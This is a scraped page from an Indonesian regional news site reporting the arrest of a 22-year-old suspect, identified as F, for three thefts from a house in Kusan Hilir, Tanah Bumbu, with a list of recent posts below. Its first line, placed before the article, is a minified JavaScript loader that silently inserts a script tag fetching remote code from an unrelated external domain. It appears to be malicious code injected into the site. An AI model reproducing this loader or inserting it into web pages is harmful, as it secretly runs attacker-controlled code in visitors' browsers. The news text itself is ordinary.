(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Tiga Kali Terlibat Kasus Pencurian, Pria Asal Kusan Hilir Diamankan Polisi


KANALKALIMANTAN.COM, BATULICIN – Polsek Kusan Hilir mengamankan tersangka tindak pidana pencurian di Kecamatan Kusan Hilir, Kabupaten Tanah Bumbu, pada Senin (14/11/2022) sekitar pukul 16.00 Wita.

Kapolres Tanah Bumbu AKBP Tri Hambodo melalui Kasi Humas AKP Made Rasa mengatakan, pelaku berinisial F (22) diamankan petugas di Jalan Arif Rahman Hakim, Desa Batuah.

Kasi Humas Polres Tanbu mengatakan, penangkapan F berawal dari adanya laporan dari korban pencurian ke Polsek Kusan Hilir. Korban mengaku mengalami tiga kali kejadian pencurian di rumahnya di Jalan Hasanuddin Nomor 03, RT 03 Desa Pejala, Kecamatan Kusan Hilir.

Kejadian pertama pada Minggu (29/5/2022) sekitar pukul 19.30 Wita, saat itu pelapor mengaku kehilangan uang tunai Rp 1,2 juta. Selanjutnya Selasa (5/7/2022) sekitar pukul 19.30 Wita, korban kembali kehilangan berupa 1 unit HP OPPO tipe A37fw dan uang tunai Rp 1,5 juta.

 

Baca juga  : Ketua TP PKK Nurgita Tiyas Buka Jambore Kader PKK Kabupaten Banjar

Hingga pada Sabtu (12/11/2022) sekitar pukul 18.30 Wita, barang milik pelapor berupa 1 unit HP OPPO A83 warna gold beserta charger, jam tangan merk Diesel, jam tangan merk JIMS HONEY dan uang tunai sebesar Rp 200 ribu kembali raib.

Kejadian-kejadian tersebut terjadi pada saat pelapor tidak berada di rumah. Hal ini diketahui pada saat pelapor tiba di rumah dan melihat pintu dapur sebelah kiri rumah sudah dalam keadaan terbuka dan diketahui barang-barang tersebut sudah hilang.

“Atas semua kejadian tersebut pelapor mengalami kerugian sebesar Rp 5.700.000. dan melaporkan kejadian tersebut ke Kantor Polsek Kusan Hilir guna proses hukum lebih lanjut,” jelas Kasi Humas.

Baca juga  : Wali Kota Banjarmasin Lakukan Sidak Pasar, Sejumlah Harga Kebutuhan Pokok Masih Tinggi  

Sementara dari penangkapan pelaku, polisi juga mengamankan barang bukti seperti 1 unit HP merk OPPO tipe A83 warna gold, 1 buah casing hp warna coklat, 1 charger warna putih, 1 buah jam tangan merk JIMS HONEY dan 1 lembar jaketnya hoodie merk BUCKET & CLO.

Perbuatan F ini terancam Tindak Pidana Pencurian sebagaimana yang di maksud dalam Pasal 363 Ayat (1) Ke 3e KUHP Sub Pasal 362 KUHP Jo Pasal 64 Ayat (1) KUHP. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : cell


Desy Arfianty

Recent Posts

Manis Cuan Pokmas Madu Kelulut Berkat Bersatu dari Program RT Mandiri

KANALKALIMANTAN.COM, BANJARBARU – Berawal dari temuan sarang kelulut di dalam pondasi rumah tinggal warga, muncul… Read More

1 jam ago

Nasdem-PKS Koalisi di Pilwali Banjarbaru, Darmawan Jaya Siap Tantang Petahana

KANALKALIMANTAN.COM, BANJARBARU - Nama Darmawan Jaya Setiawan menjadi orang pertama yang menyerahkan formulir pendaftaran penjaringan… Read More

3 jam ago

Kades Tumbang Mangkutup Apresiasi Kunjungan Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi bersama jajarannya menghadiri kegiatan silaturahmi… Read More

4 jam ago

Monte All Star Banjarmasin Juara Turnamen Paman Birin Trophy U-45 Puma Legend 2024

KANALKALIMANTAN.COM, BANJARBARU - Monte All Star dari Banjarmasin juara Turnamen Sepak Bola Paman Birin Trophy… Read More

5 jam ago

Pj Bupati Kapuas Erlin Hardi ke Desa Tumbang Mangkutup

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi bersilaturahmi dengan masyarakat Desa Tumbang… Read More

18 jam ago

Satgas TMMD Beri Penyuluhan Pertanian dan Perikanan di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Setelah program non fisik sosialisasi PHBS (Perilaku Hidup bersih Sehat) dan masalah… Read More

18 jam ago

This website uses cookies.